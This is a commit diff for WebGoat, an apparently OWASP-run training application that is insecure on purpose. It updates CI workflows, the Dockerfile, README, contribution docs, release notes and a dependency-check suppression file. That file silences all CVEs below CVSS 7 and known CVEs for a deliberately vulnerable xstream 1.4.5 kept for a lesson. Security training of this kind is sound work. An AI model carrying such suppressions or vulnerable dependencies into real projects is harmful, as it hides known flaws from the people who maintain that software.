label test

Bumps [actions/cache](https://github.com/actions/cache) from 3.0.4 to 3.0.5.
- [Release notes](https://github.com/actions/cache/releases)
- [Changelog](https://github.com/actions/cache/blob/main/RELEASES.md)
- [Commits](https://github.com/actions/cache/compare/v3.0.4...v3.0.5)

---
updated-dependencies:
- dependency-name: actions/cache
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>

Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>

.dockerignore

@@ -0,0 +1,3 @@
+**
+
+!/target

.editorconfig

@@ -0,0 +1,15 @@
+root = true
+
+[*]
+charset = utf-8
+end_of_line = lf
+indent_size = 4
+indent_style = space
+insert_final_newline = true
+max_line_length = 120
+tab_width = 4
+ij_continuation_indent_size = 8
+ij_formatter_off_tag = @formatter:off
+ij_formatter_on_tag = @formatter:on
+ij_formatter_tags_enabled = false
+ij_java_names_count_to_use_import_on_demand = 999

.github/FUNDING.yml

@@ -0,0 +1 @@
+custom: https://owasp.org/donate/?reponame=www-project-webgoat&title=OWASP+WebGoat

.github/lock.yml

@@ -0,0 +1,10 @@
+---
+daysUntilLock: 365
+skipCreatedBefore: false
+exemptLabels: []
+lockLabel: false
+lockComment: >
+  This thread has been automatically locked because it has not had
+  recent activity after it was closed. :lock: Please open a new issue
+  for regressions or related bugs.
+setLockReason: false

.github/stale.yml

@@ -0,0 +1,10 @@
+---
+daysUntilStale: 90
+daysUntilClose: 14
+onlyLabels:
+  - waiting-for-input
+  - wontfix
+staleLabel: stale
+markComment: >
+  This issue has been automatically marked as `stale` because it has not had recent activity. :calendar: It will be _closed automatically_ in one week if no further activity occurs.
+closeComment: false

.github/workflows/build.yml

@@ -9,7 +9,7 @@ on:
       - 'docs/**'
   push:
     branches:
-      - master
+      - main
       - develop
       - release/*
     tags-ignore:
@@ -22,37 +22,51 @@ on:
       - 'docs/**'
 
 jobs:
-  build:
+  pr-build:
+    if: >
+      github.event_name == 'pull_request' && !github.event.pull_request.draft && (
+        github.event.action == 'opened' ||
+        github.event.action == 'reopened' ||
+        github.event.action == 'synchronize' 
+      )
     runs-on: ${{ matrix.os }}
     strategy:
       matrix:
         os: [ubuntu-latest, windows-latest, macos-latest]
-        java: [15]
     steps:
-      - uses: actions/checkout@v2
+      - uses: actions/checkout@v3
-      - name: Set up JDK ${{ matrix.java }}
+      - name: Set up JDK 17
-        uses: actions/setup-java@v2
+        uses: actions/setup-java@v3
         with:
-          distribution: 'zulu'
+          distribution: 'temurin'
-          java-version: ${{ matrix.java }}
+          java-version: 17
           architecture: x64
       - name: Cache Maven packages
-        uses: actions/cache@v2.1.5
+        uses: actions/cache@v3.0.5
         with:
           path: ~/.m2
           key: ${{ runner.os }}-m2-${{ hashFiles('**/pom.xml') }}
-          restore-keys: ${{ runner.os }}-m2
+          restore-keys: ${{ runner.os }}-m2-
       - name: Build with Maven
-        run: mvn clean install
+        run: mvn --no-transfer-progress package
 
-  notify-slack:
+  build:
-    if: github.event_name == 'push' && (success() || failure())
+    if: github.repository == 'WebGoat/WebGoat' && github.event_name == 'push'
-    needs:
-      - build
     runs-on: ubuntu-latest
+    name: "Branch build"
     steps:
-      - name: "Slack workflow notification"
+        - uses: actions/checkout@v3
-        uses: Gamesight/slack-workflow-status@master
+        - name: set up JDK 17
+          uses: actions/setup-java@v3
           with:
-          repo_token: ${{secrets.GITHUB_TOKEN}}
+              distribution: 'temurin'
-          slack_webhook_url: ${{secrets.SLACK_WEBHOOK_URL}}
+              java-version: 17
+              architecture: x64
+        - name: Cache Maven packages
+          uses: actions/cache@v3.0.5
+          with:
+              path: ~/.m2
+              key: ubuntu-latest-m2-${{ hashFiles('**/pom.xml') }}
+              restore-keys: ubuntu-latest-m2-
+        - name: Test with Maven
+          run: mvn --no-transfer-progress verify

.github/workflows/rebase.yml

@@ -1,19 +0,0 @@
-name: "Automatic Rebase"
-on:
-  issue_comment:
-    types: [created]
-jobs:
-  rebase:
-    name: Rebase
-    if: github.event.issue.pull_request != '' && contains(github.event.comment.body, '/rebase') && github.event.comment.author_association == 'MEMBER'
-    runs-on: ubuntu-latest
-    steps:
-      - name: Checkout the latest code
-        uses: actions/checkout@v2
-        with:
-          token: ${{ secrets.GITHUB_TOKEN }}
-          fetch-depth: 0 # otherwise, you will fail to push refs to dest repo
-      - name: Automatic Rebase
-        uses: cirrus-actions/rebase@1.4
-        env:
-          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}

.github/workflows/release.yml

@@ -5,26 +5,27 @@ on:
       - v*
 jobs:
   release:
+    if: github.repository == 'WebGoat/WebGoat'
     name: Release WebGoat
     runs-on: ubuntu-latest
     environment:
       name: release
     steps:
-      - uses: actions/checkout@v2.3.4
+      - uses: actions/checkout@v3
 
       - name: "Get tag name"
         id: tag
         uses: dawidd6/action-get-tag@v1
 
       - name: Set up JDK 15
-        uses: actions/setup-java@v2
+        uses: actions/setup-java@v3
         with:
           distribution: 'zulu'
           java-version: 15
           architecture: x64
 
       - name: Cache Maven packages
-        uses: actions/cache@v2.1.5
+        uses: actions/cache@v3.0.5
         with:
           path: ~/.m2
           key: ${{ runner.os }}-m2-${{ hashFiles('**/pom.xml') }}
@@ -37,16 +38,15 @@ jobs:
           echo "WEBGOAT_MAVEN_VERSION=${WEBGOAT_MAVEN_VERSION:1}" >> $GITHUB_ENV
       - name: Build with Maven
         run: |
-          mvn versions:set -DnewVersion=${{ env.WEBGOAT_MAVEN_VERSION }}
+          mvn --no-transfer-progress versions:set -DnewVersion=${{ env.WEBGOAT_MAVEN_VERSION }}
-          mvn clean install -DskipTests
+          mvn --no-transfer-progress install -DskipTests
 
       - name: "Create release"
         uses: softprops/action-gh-release@v1
         with:
           draft: false
           files: |
-            webgoat-server/target/webgoat-server-${{ env.WEBGOAT_MAVEN_VERSION }}.jar
+            webgoat/target/webgoat-${{ env.WEBGOAT_MAVEN_VERSION }}.jar
-            webwolf/target/webwolf-${{ env.WEBGOAT_MAVEN_VERSION }}.jar
           body: |
             ## Version ${{ steps.tag.outputs.tag }}
 
@@ -74,48 +74,53 @@ jobs:
           GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
 
       - name: "Set up QEMU"
-        uses: docker/setup-qemu-action@v1.1.0
+        uses: docker/setup-qemu-action@v2.0.0
+        with:
+          platforms: all
 
       - name: "Set up Docker Buildx"
-        uses: docker/setup-buildx-action@v1
+        uses: docker/setup-buildx-action@v2
 
       - name: "Login to dockerhub"
-        uses: docker/login-action@v1.9.0
+        uses: docker/login-action@v2.0.0
         with:
           username: ${{ secrets.DOCKERHUB_USERNAME }}
           password: ${{ secrets.DOCKERHUB_TOKEN }}
 
       - name: "Build and push"
-        uses: docker/build-push-action@v2.4.0
+        uses: docker/build-push-action@v3.0.0
         with:
-          context: ./docker
+          context: ./
-          file: docker/Dockerfile
+          file: ./Dockerfile
-          push: false #todo enable
+          push: true 
-          platforms: linux/amd64
+          platforms: linux/amd64, linux/arm64, linux/arm/v7
           tags: |
-            webgoat/goatandwolf:${{ env.WEBGOAT_TAG_VERSION }}
+            webgoat/webgoat:${{ env.WEBGOAT_TAG_VERSION }}
-            webgoat/goatandwolf:latest
+            webgoat/webgoat:latest
           build-args: |
             webgoat_version=${{ env.WEBGOAT_MAVEN_VERSION }}
 
       - name: "Image digest"
         run: echo ${{ steps.docker_build.outputs.digest }}
   new_version:
+    permissions:
+      contents: write  # for Git to git push
+    if: github.repository == 'WebGoat/WebGoat'
     name: Update development version
     needs: [ release ]
     runs-on: ubuntu-latest
     environment:
       name: release
     steps:
-      - uses: actions/checkout@v2.3.4
+      - uses: actions/checkout@v3
         with:
           ref: develop
           token: ${{ secrets.WEBGOAT_DEPLOYER_TOKEN }}
 
-      - name: Set up JDK 15
+      - name: Set up JDK 17
-        uses: actions/setup-java@v2
+        uses: actions/setup-java@v3
         with:
-          java-version: 15
+          java-version: 17
           architecture: x64
 
       - name: Set version to next snapshot

.github/workflows/welcome.yml

@@ -1,9 +1,13 @@
 name: Welcome
 
-on: [pull_request, issues]
+on:
+  issues:
+    types:
+      - opened
 
 jobs:
   greeting:
+    if: github.repository == 'WebGoat/WebGoat'
     runs-on: ubuntu-latest
     steps:
       - uses: actions/first-interaction@v1.1.0

CODE_OF_CONDUCT.md

@@ -0,0 +1,60 @@
+# Contributor Covenant Code of Conduct
+
+## Our Pledge
+
+In the interest of fostering an open and welcoming environment, we as contributors and maintainers pledge to making participation in our project and our community a harassment-free experience for everyone, regardless of age, body size, disability, ethnicity, sex characteristics, gender identity and expression, level of experience, education, socio-economic status, nationality, personal appearance, race, religion, or sexual identity and orientation.
+
+## Our Standards
+
+Examples of behavior that contributes to creating a positive environment include:
+
+- Using welcoming and inclusive language
+- Being respectful of differing viewpoints and experiences
+- Gracefully accepting constructive criticism
+- Focusing on what is best for the community
+- Showing empathy towards other community members
+
+Examples of unacceptable behavior by participants include:
+
+- The use of sexualized language or imagery and unwelcome sexual attention or advances
+- Trolling, insulting/derogatory comments, and personal or political attacks
+- Public or private harassment
+- Publishing others' private information, such as a physical or electronic address, without explicit permission
+- Misusing the context of the WebGoat project for commercial goals (e.g. adding sales pitches to the codebase or to communication channels used by the project, such as Slack).
+- Other conduct which could reasonably be considered inappropriate in a professional setting
+
+## Our Responsibilities
+
+Project maintainers are responsible for clarifying the standards of acceptable behavior and are expected to take appropriate and fair corrective action in response to any instances of unacceptable behavior.
+
+Project maintainers have the right and responsibility to remove, edit, or reject comments, commits, code, wiki edits, issues, and other contributions that are not aligned to this Code of Conduct, or to ban temporarily or permanently any contributor for other behaviors that they deem inappropriate, threatening, offensive, or harmful.
+
+## Disclaimer
+
+The WebGoat project and its materials are conceived for educational and research purposes only.
+
+Refrain from violating the laws in your country by carefully consulting them before executing any tests against web applications or other assets utilizing the WebGoat (or Webwolf) materials.
+
+The WebGoat project is also NOT supporting unethical activities in any way. If you come across such requests, please reach out to the project leaders and raise this to them.
+
+Neither OWASP, the WebGoat project leaders, authors or anyone else involved in this project is going to take responsibility for your actions.
+
+The intention of the WebGoat is not to encourage hacking or malicious activities! Instead, the goal of the project is to learn different hacking techniques and offer ways to reduce or mitigate that risk.
+
+## Scope
+
+This Code of Conduct applies both within project spaces and in public spaces when an individual is representing the project or its community. Examples of representing a project or community includes using an official project e-mail address, posting via an official social media account, or acting as an appointed representative at an online or offline event. Representation of a project may be further defined and clarified by project maintainers.
+
+## Enforcement
+
+Instances of abusive, harassing, or otherwise unacceptable behavior may be reported by contacting the project team at nanne.baars@owasp.org.
+
+All complaints will be reviewed and investigated and will result in a response that is deemed necessary and appropriate to the circumstances. The project team is obligated to maintain confidentiality with regard to the reporter of an incident. Further details of specific enforcement policies may be posted separately.
+
+Project maintainers who do not follow or enforce the Code of Conduct in good faith may face temporary or permanent repercussions as determined by other members of the project's leadership.
+
+## Attribution
+
+This Code of Conduct is adapted from the [Contributor Covenant](https://www.contributor-covenant.org "Contributor Covenant homepage"), [version 1.4](https://www.contributor-covenant.org/version/1/4/code-of-conduct.html "Code of Conduct version 1.4").
+
+For answers to common questions about this code of conduct, see [the Contributor Covenant FAQ](https://www.contributor-covenant.org/faq)

CONTRIBUTING.md

@@ -0,0 +1,98 @@
+# Contributing
+[![GitHub contributors](https://img.shields.io/github/contributors/WebGoat/WebGoat.svg)](https://github.com/WebGoat/WebGoat/graphs/contributors)
+![GitHub issues by-label "help wanted"](https://img.shields.io/github/issues/WebGoat/WebGoat/help%20wanted.svg)
+![GitHub issues by-label "good first issue"](https://img.shields.io/github/issues/WebGoat/WebGoat/good%20first%20issue.svg)
+
+This document describes how you can contribute to WebGoat. Please read it carefully.
+
+**Table of Contents**
+
+* [How to Contribute to the Project](#how-to-contribute-to-the-project)
+* [How to set up your Contributor Environment](#how-to-set-up-your-contributor-environment)
+* [How to get your PR Accepted](#how-to-get-your-pr-accepted)
+
+## How to Contribute to the project
+
+There are a couple of ways on how you can contribute to the project:
+
+* **File [issues](https://github.com/WebGoat/WebGoat/issues "Webgoat Issues")** for missing content or errors. Explain what you think is missing and give a suggestion as to where it could be added.
+* **Create a [pull request (PR)](https://github.com/WebGoat/WebGoat/pulls "Create a pull request")**. This is a direct contribution to the project and may be merged after review. You should ideally [create an issue](https://github.com/WebGoat/WebGoat/issues "WebGoat Issues") for any PR you would like to submit, as we can first review the merit of the PR and avoid any unnecessary work. This is of course not needed for small modifications such as correcting typos.
+* **Help out financially** by donating via [OWASP donations](https://owasp.org/donate/?reponame=www-project-webgoat&title=OWASP+WebGoat).
+
+## How to get your PR accepted
+
+Your PR is valuable to us, and to make sure we can integrate it smoothly, we have a few items for you to consider. In short:
+The minimum requirements for code contributions are:
+
+1. The code _must_ be compliant with the configured Checkstyle and PMD rules.
+2. All new and changed code _should_ have a corresponding unit and/or integration test.
+3. New and changed lessons _must_ have a corresponding integration test.
+4. [Status checks](https://docs.github.com/en/github/collaborating-with-pull-requests/collaborating-on-repositories-with-code-quality-features/about-status-checks) should pass for your last commit.
+
+Additionally, the following guidelines can help:
+
+### Keep your pull requests limited to a single issue
+
+Pull requests should be as small/atomic as possible. Large, wide-sweeping changes in a pull request will be **rejected**, with comments to isolate the specific code in your pull request. Some examples:
+
+* If you are making spelling corrections in the docs, don't modify other files.
+* If you are adding new functions don't '*cleanup*' unrelated functions. That cleanup belongs in another pull request.
+
+
+### Write a good commit message
+
+* Explain why you make the changes. [More infos about a good commit message.](https://betterprogramming.pub/stop-writing-bad-commit-messages-8df79517177d)
+
+* If you fix an issue with your commit, please close the issue by [adding one of the keywords and the issue number](https://docs.github.com/en/issues/tracking-your-work-with-issues/linking-a-pull-request-to-an-issue) to your commit message.
+
+  For example: `Fix #545` or `Closes #10`
+
+## How to set up your Contributor Environment
+
+1. Create a GitHub account. Multiple different GitHub subscription plans are available, but you only need a free one. Follow [these steps](https://help.github.com/en/articles/signing-up-for-a-new-github-account "Signing up for a new GitHub account") to set up your account.
+2. Fork the repository. Creating a fork means creating a copy of the repository on your own account, which you can modify without any impact on this repository. GitHub has an [article that describes all the needed steps](https://help.github.com/en/articles/fork-a-repo "Fork a repo").
+3. Clone your own repository to your host computer so that you can make modifications. If you followed the GitHub tutorial from step 2, you have already done this.
+4. Go to the newly cloned directory "WebGoat" and add the remote upstream repository:
+
+    ```bash
+    $ git remote -v
+    origin git@github.com:<your Github handle>/WebGoat.git (fetch)
+    origin git@github.com:<your Github handle>/WebGoat.git (push)
+
+    $ git remote add upstream git@github.com:WebGoat/WebGoat.git
+
+    $ git remote -v
+    origin git@github.com:<your Github handle>/WebGoat.git (fetch)
+    origin git@github.com:<your Github handle>/WebGoat.git (push)
+    upstream git@github.com:OWASP/WebGoat.git (fetch)
+    upstream git@github.com:OWASP/WebGoat.git (push)
+    ```
+
+    See also the GitHub documentation on "[Configuring a remote for a fork](https://docs.github.com/en/free-pro-team@latest/github/collaborating-with-issues-and-pull-requests/configuring-a-remote-for-a-fork "Configuring a remote for a fork")".
+5. Choose what to work on, based on any of the outstanding [issues](https://github.com/WebGoat/WebGoat/issues "WebGoat Issues").
+6. Create a branch so that you can cleanly work on the chosen issue: `git checkout -b FixingIssue66`
+7. Open your favorite editor and start making modifications. We recommend using the [IntelliJ Idea](https://www.jetbrains.com/idea/).
+8. After your modifications are done, push them to your forked repository. This can be done by executing the command `git add MYFILE` for every file you have modified, followed by `git commit -m 'your commit message here'` to commit the modifications and `git push` to push your modifications to GitHub.
+9. Create a Pull Request (PR) by going to your fork, <https://github.com/Your_Github_Handle/WebGoat> and click on the "New Pull Request" button. The target branch should typically be the Master branch. When submitting a PR, be sure to follow the checklist that is provided in the PR template. The checklist itself will be filled out by the reviewer.
+10. Your PR will be reviewed and comments may be given. In order to process a comment, simply make modifications to the same branch as before and push them to your repository. GitHub will automatically detect these changes and add them to your existing PR.
+11. When starting on a new PR in the future, make sure to always keep your local repo up to date:
+
+    ```bash
+    $ git fetch upstream
+    $ git merge upstream/develop
+    ```
+
+    See also the following article for further explanation on "[How to Keep a Downstream git Repository Current with Upstream Repository Changes](https://medium.com/sweetmeat/how-to-keep-a-downstream-git-repository-current-with-upstream-repository-changes-10b76fad6d97 "How to Keep a Downstream git Repository Current with Upstream Repository Changes")".
+
+If at any time you want to work on a different issue, you can simply switch to a different branch, as explained in step 5.
+
+> Tip: Don't try to work on too many issues at once though, as it will be a lot more difficult to merge branches the longer they are open.
+
+## What not to do
+
+Although we greatly appreciate any and all contributions to the project, there are a few things that you should take into consideration:
+
+* The WebGoat project should not be used as a platform for advertisement for commercial tools, companies or individuals. Write-ups should be written with free and open-source tools in mind and commercial tools are typically not accepted, unless as a reference in the security tools section.
+* Unnecessary self-promotion of tools or blog posts is frowned upon. If you have a relation with on of the URLs or tools you are referencing, please state so in the PR so that we can verify that the reference is in line with the rest of the guide.
+
+Please be sure to take a careful look at our [Code of Conduct](https://github.com/WebGoat/WebGoat/blob/master/CODE_OF_CONDUCT.md) for all the details.

CREATE_RELEASE.md

@@ -16,15 +16,14 @@ At the moment we use Gitflow, for a release you create a new release branch and
 ```
 git checkout develop
 git flow release start <version> 
-mvn versions:set <<version>  
-git commit -am "New release, updating pom.xml" 
 git flow release publish
 
 <<Make changes if necessary>>
+<<Update RELEASE_NOTES.md>>
 
 git flow release finish <version>
 git push origin develop
-git push origin master
+git push origin main
 git push --tags
 ```
 

Dockerfile

@@ -0,0 +1,32 @@
+FROM docker.io/eclipse-temurin:17-jdk-focal
+
+RUN useradd -ms /bin/bash webgoat
+RUN chgrp -R 0 /home/webgoat
+RUN chmod -R g=u /home/webgoat
+
+USER webgoat
+
+COPY --chown=webgoat target/webgoat-*.jar /home/webgoat/webgoat.jar
+
+EXPOSE 8080
+EXPOSE 9090
+
+WORKDIR /home/webgoat
+ENTRYPOINT [ "java", \
+   "-Duser.home=/home/webgoat", \
+   "-Dfile.encoding=UTF-8", \
+   "--add-opens", "java.base/java.lang=ALL-UNNAMED", \
+   "--add-opens", "java.base/java.util=ALL-UNNAMED", \
+   "--add-opens", "java.base/java.lang.reflect=ALL-UNNAMED", \
+   "--add-opens", "java.base/java.text=ALL-UNNAMED", \
+   "--add-opens", "java.desktop/java.beans=ALL-UNNAMED", \
+   "--add-opens", "java.desktop/java.awt.font=ALL-UNNAMED", \
+   "--add-opens", "java.base/sun.nio.ch=ALL-UNNAMED", \
+   "--add-opens", "java.base/java.io=ALL-UNNAMED", \
+   "--add-opens", "java.base/java.util=ALL-UNNAMED", \
+   "-Drunning.in.docker=true", \
+   "-Dwebgoat.host=0.0.0.0", \
+   "-Dwebwolf.host=0.0.0.0", \
+   "-Dwebgoat.port=8080", \
+   "-Dwebwolf.port=9090", \
+   "-jar", "webgoat.jar" ]

PULL_REQUEST_TEMPLATE.md

@@ -0,0 +1 @@
+Thank you for submitting a pull request to the WebGoat!

README.md

@@ -1,11 +1,11 @@
 # WebGoat 8: A deliberately insecure Web Application
 
-[![Build Status](https://travis-ci.org/WebGoat/WebGoat.svg?branch=develop)](https://travis-ci.org/WebGoat/WebGoat)
+[![Build](https://github.com/WebGoat/WebGoat/actions/workflows/build.yml/badge.svg?branch=develop)](https://github.com/WebGoat/WebGoat/actions/workflows/build.yml)
-[![Coverage Status](https://coveralls.io/repos/WebGoat/WebGoat/badge.svg?branch=develop&service=github)](https://coveralls.io/github/WebGoat/WebGoat?branch=master)
+[![java-jdk](https://img.shields.io/badge/java%20jdk-17-green.svg)](https://jdk.java.net/)
-[![Codacy Badge](https://api.codacy.com/project/badge/b69ee3a86e3b4afcaf993f210fccfb1d)](https://www.codacy.com/app/dm/WebGoat)
+[![OWASP Labs](https://img.shields.io/badge/OWASP-Lab%20project-f7b73c.svg)](https://owasp.org/projects/)
-[![OWASP Labs](https://img.shields.io/badge/owasp-lab%20project-f7b73c.svg)](https://www.owasp.org/index.php/OWASP_Project_Inventory#tab=Labs_Projects)
 [![GitHub release](https://img.shields.io/github/release/WebGoat/WebGoat.svg)](https://github.com/WebGoat/WebGoat/releases/latest)
 [![Gitter](https://badges.gitter.im/OWASPWebGoat/community.svg)](https://gitter.im/OWASPWebGoat/community?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge)
+[![Discussions](https://img.shields.io/github/discussions/WebGoat/WebGoat)](https://github.com/WebGoat/WebGoat/discussions)
 
 # Introduction
 
@@ -27,53 +27,39 @@ you are caught engaging in unauthorized hacking, most companies will fire you.
 Claiming that you were doing security research will not work as that is the
 first thing that all hackers claim.*
 
-# Installation Instructions:
+# Installation instructions:
+
+For more details check [the Contribution guide](/CONTRIBUTING.md)
 
 ## 1. Run using Docker
 
-Every release is also published on [DockerHub]((https://hub.docker.com/r/webgoat/webgoat-8.0/)).
+Every release is also published on [DockerHub](https://hub.docker.com/r/webgoat/webgoat).
-
-### Using docker run
 
 The easiest way to start WebGoat as a Docker container is to use the all-in-one docker container. This is a docker image that has WebGoat and WebWolf running inside.
 
 ```shell
-docker run -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 -e TZ=Europe/Amsterdam webgoat/goatandwolf
+
+docker run -it -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 -e TZ=Europe/Amsterdam webgoat/webgoat
 ```
 
-WebGoat will be located at: http://127.0.0.1:8080/WebGoat
+**Important**: *Choose the correct timezone, so that the docker container and your host are in the same timezone. As it is important for the validity of JWT tokens used in certain exercises.*
-WebWolf will be located at: http://127.0.0.1:9090/WebWolf
-
-**Important**: Choose the correct timezone, so that the docker container and your host are in the same timezone. As it is important for the validity of JWT tokens used in certain exercises.
 
 
 ## 2. Standalone
 
 Download the latest WebGoat and WebWolf release from [https://github.com/WebGoat/WebGoat/releases](https://github.com/WebGoat/WebGoat/releases)
 
-```Shell
+```shell
-java -jar webgoat-server-8.1.0.jar [--server.port=8080] [--server.address=localhost]
+java -Dfile.encoding=UTF-8 -jar webgoat-8.2.3.jar 
-java -jar webwolf-8.1.0.jar [--server.port=9090] [--server.address=localhost]
 ```
 
-The latest version of WebGoat needs Java 15 or above. By default, WebGoat and Webwolf start on port 8080, 9000 and 9090 with the environment variable WEBGOAT_PORT, WEBGOAT_HSQLPORT and WEBWOLF_PORT you can set different values.
+Click the link in the log to start WebGoat.
-```Shell
-export WEBGOAT_PORT=18080
-export WEBGOAT_HSQLPORT=19001
-export WEBWOLF_PORT=19090
-java -jar webgoat-server-8.1.0.jar
-java -jar webwolf-8.1.0.jar 
-```
-
-Use `set` instead of export if you're using Windows cmd. 
-
 
 ## 3. Run from the sources
 
 ### Prerequisites:
 
-* Java 15
+* Java 17
-* Maven > 3.2.1
 * Your favorite IDE
 * Git, or Git support in your IDE
 
@@ -88,18 +74,29 @@ Now let's start by compiling the project.
 ```Shell
 cd WebGoat
 git checkout <<branch_name>>
-mvn clean install
+# On Linux/Mac:
+./mvnw clean install 
+
+# On Windows:
+./mvnw.cmd clean install
+
+# Using docker or podman, you can than build the container locally
+docker build -f Dockerfile . -t webgoat/webgoat
 ```
 
 Now we are ready to run the project. WebGoat 8.x is using Spring-Boot.
 
 ```Shell
-mvn -pl webgoat-server spring-boot:run
+# On Linux/Mac:
+./mvnw spring-boot:run
+# On Windows:
+./mvnw.cmd spring-boot:run
+
 ```
-... you should be running webgoat on localhost:8080/WebGoat momentarily
+... you should be running WebGoat on localhost:8080/WebGoat momentarily
 
 
-To change the IP address add the following variable to the WebGoat/webgoat-container/src/main/resources/application.properties file:
+To change the IP address add the following variable to the `WebGoat/webgoat-container/src/main/resources/application.properties file`:
 
 ```
 server.address=x.x.x.x
@@ -113,9 +110,9 @@ For instance running as a jar on a Linux/macOS it will look like this:
 ```Shell
 export EXCLUDE_CATEGORIES="CLIENT_SIDE,GENERAL,CHALLENGE"
 export EXCLUDE_LESSONS="SqlInjectionAdvanced,SqlInjectionMitigations"
-java -jar webgoat-server/target/webgoat-server-v8.2.0-SNAPSHOT.jar
+java -jar target/webgoat-8.2.3-SNAPSHOT.jar
-```
+
 Or in a docker run it would (once this version is pushed into docker hub) look like this:
 ```Shell
-docker run -d -p 80:8888 -p 8080:8080 -p 9090:9090 -e TZ=Europe/Amsterdam -e EXCLUDE_CATEGORIES="CLIENT_SIDE,GENERAL,CHALLENGE" -e EXCLUDE_LESSONS="SqlInjectionAdvanced,SqlInjectionMitigations" webgoat/goatandwolf
+docker run -d -p 8080:8080 -p 9090:9090 -e TZ=Europe/Amsterdam -e EXCLUDE_CATEGORIES="CLIENT_SIDE,GENERAL,CHALLENGE" -e EXCLUDE_LESSONS="SqlInjectionAdvanced,SqlInjectionMitigations" webgoat/webgoat
 ```

RELEASE_NOTES.md

@@ -1,5 +1,45 @@
 # WebGoat release notes 
 
+## Unreleased
+
+### New functionality
+
+- New year's resolution: major refactoring of WebGoat to simplify the setup and improve building times.
+- Move away from multi-project setup:
+  - This has a huge performance benefit when building the application. Build time locally is now `Total time:  42.469 s` (depends on your local machine of course)
+  - No longer add Maven dependencies in several places
+  - H2 no longer needs to run as separate process, which solves the issue of WebWolf sharing and needing to configure the correct database connection.
+- More explicit paths in html files to reference `adoc` files, less magic.
+- Integrate WebWolf in WebGoat, the setup was way too complicated and needed configuration which could lead to mistakes and a not working application. This also simplifies the Docker configuration as there is only 1 Docker image.
+- Add WebWolf button in WebGoat
+- Move all lessons into `src/main/resources` 
+- WebGoat selects a port dynamically when starting. It will still start of port 8080 it will try another port to ease the user experience. 
+- WebGoat logs URL after startup: `Please browse to http://127.0.0.1:8080/WebGoat to get started...`
+- Simplify `Dockerfile` as we no longer need a script to start everything
+- Maven build now start WebGoat jar with Maven plugin to make sure we run against the latest build.
+- Added `Initializable` interface for a lesson, an assignment can implement this interface to set it up for a specific user and to reset the assignment back to its original state when a reset lesson occurs. See `BlindSendFileAssignment` for an example.
+- Integration tests now use the same user. This saves a lot of time as before every test used a different user which triggered the Flyway migration to set up the database schema for the user. This migration took a lot of time.
+
+## Version 8.2.2
+
+### New functionality
+
+- Docker image now supports nginx when browsing to http://localhost a landing page is shown. 
+
+### Bug fixes
+
+- [#1039 jwt-7-Code review](https://github.com/WebGoat/WebGoat/issues/1039)
+- [#1031 SQL Injection (intro) 5: Data Control Language (DCL) the wiki's solution is not correct](https://github.com/WebGoat/WebGoat/issues/1031)
+- [#1027 Webgoat 8.2.1 Vulnerable_Components_12 Shows internal server error](https://github.com/WebGoat/WebGoat/issues/1027)
+
+
+## Version 8.2.1
+
+### New functionality
+
+- New Docker image for arm64 architecture is now available (for Apple M1)
+
+
 ## Version 8.2.0
 
 ### New functionality

config/dependency-check/project-suppression.xml

@@ -1,42 +1,77 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <suppressions xmlns="https://jeremylong.github.io/DependencyCheck/dependency-suppression.1.3.xsd">
-    <suppress base="true">
+    <suppress>
         <notes><![CDATA[
-        This suppresses false positives identified on spring framework.
+        This suppresses all CVE entries that have a score below CVSS 7.
         ]]></notes>
-        <cpe>cpe:/a:pivotal_software:spring_framework</cpe>
+        <cvssBelow>7</cvssBelow>
-        <cve>CVE-2020-5398</cve>
     </suppress>
-    <suppress base="true">
+    <suppress>
         <notes><![CDATA[
-        This suppresses false positives identified on spring framework.
+        file name: spring-tx-5.3.21.jar
         ]]></notes>
-        <cpe>cpe:/a:redhat:undertow</cpe>
+        <sha1>13f4f564024d2f85502c151942307c3ca851a4f7</sha1>
-        <cve>CVE-2019-14888</cve>
+        <cve>CVE-2016-1000027</cve>
      </suppress>
-    <suppress base="true">
+     <suppress>
         <notes><![CDATA[
-        This suppresses false positives identified on spring framework.
+        file name: spring-core-5.3.21.jar
         ]]></notes>
-        <cpe>cpe:/a:pivotal_software:spring_security</cpe>
+        <packageUrl regex="true">^pkg:maven/org\.springframework/spring\-core@.*$</packageUrl>
-        <cve>CVE-2018-1258</cve>
+        <cve>CVE-2016-1000027</cve>
      </suppress>
-    <suppress base="true">
+     <suppress>
+        <notes><![CDATA[
+        file name: spring-aop-5.3.21.jar
+        ]]></notes>
+        <packageUrl regex="true">^pkg:maven/org\.springframework/spring\-aop@.*$</packageUrl>
+        <cve>CVE-2016-1000027</cve>
+     </suppress>
+     <suppress>
+        <notes><![CDATA[
+        file name: spring-boot-starter-security-2.7.1.jar
+        ]]></notes>
+        <packageUrl regex="true">^pkg:maven/org\.springframework\.boot/spring\-boot\-starter\-security@.*$</packageUrl>
+        <cve>CVE-2022-22978</cve>
+     </suppress>
+     <suppress>
+        <notes><![CDATA[
+        file name: jruby-stdlib-9.2.20.1.jar: jopenssl.jar (shaded: rubygems:jruby-openssl:0.11.0)
+        ]]></notes>
+        <packageUrl regex="true">^pkg:maven/rubygems/jruby\-openssl@.*$</packageUrl>
         <cpe>cpe:/a:jruby:jruby</cpe>
-        <cve>CVE-2018-1000613</cve>
+        <cpe>cpe:/a:openssl:openssl</cpe>
-        <cve>CVE-2018-1000180</cve>
-        <cve>CVE-2017-18640</cve>
-        <cve>CVE-2011-4838</cve>
      </suppress>
-    <suppress base="true"><!-- vulnerable components lesson -->
+    <suppress>
+        <notes><![CDATA[
+        file name: xstream-1.4.5.jar
+        ]]></notes>
+        <packageUrl regex="true">^pkg:maven/com\.thoughtworks\.xstream/xstream@.*$</packageUrl>
         <cpe>cpe:/a:xstream_project:xstream</cpe>
-        <cve>CVE-2017-7957</cve>
+        <vulnerabilityName>CVE-2013-7285</vulnerabilityName>
-        <cve>CVE-2016-3674</cve>
+        <vulnerabilityName>CVE-2016-3674</vulnerabilityName>
-        <cve>CVE-2020-26217</cve>
+        <vulnerabilityName>CVE-2017-7957</vulnerabilityName>
-        <cve>CVE-2020-26258</cve>
+        <vulnerabilityName>CVE-2020-26217</vulnerabilityName>
+        <vulnerabilityName>CVE-2020-26258</vulnerabilityName>
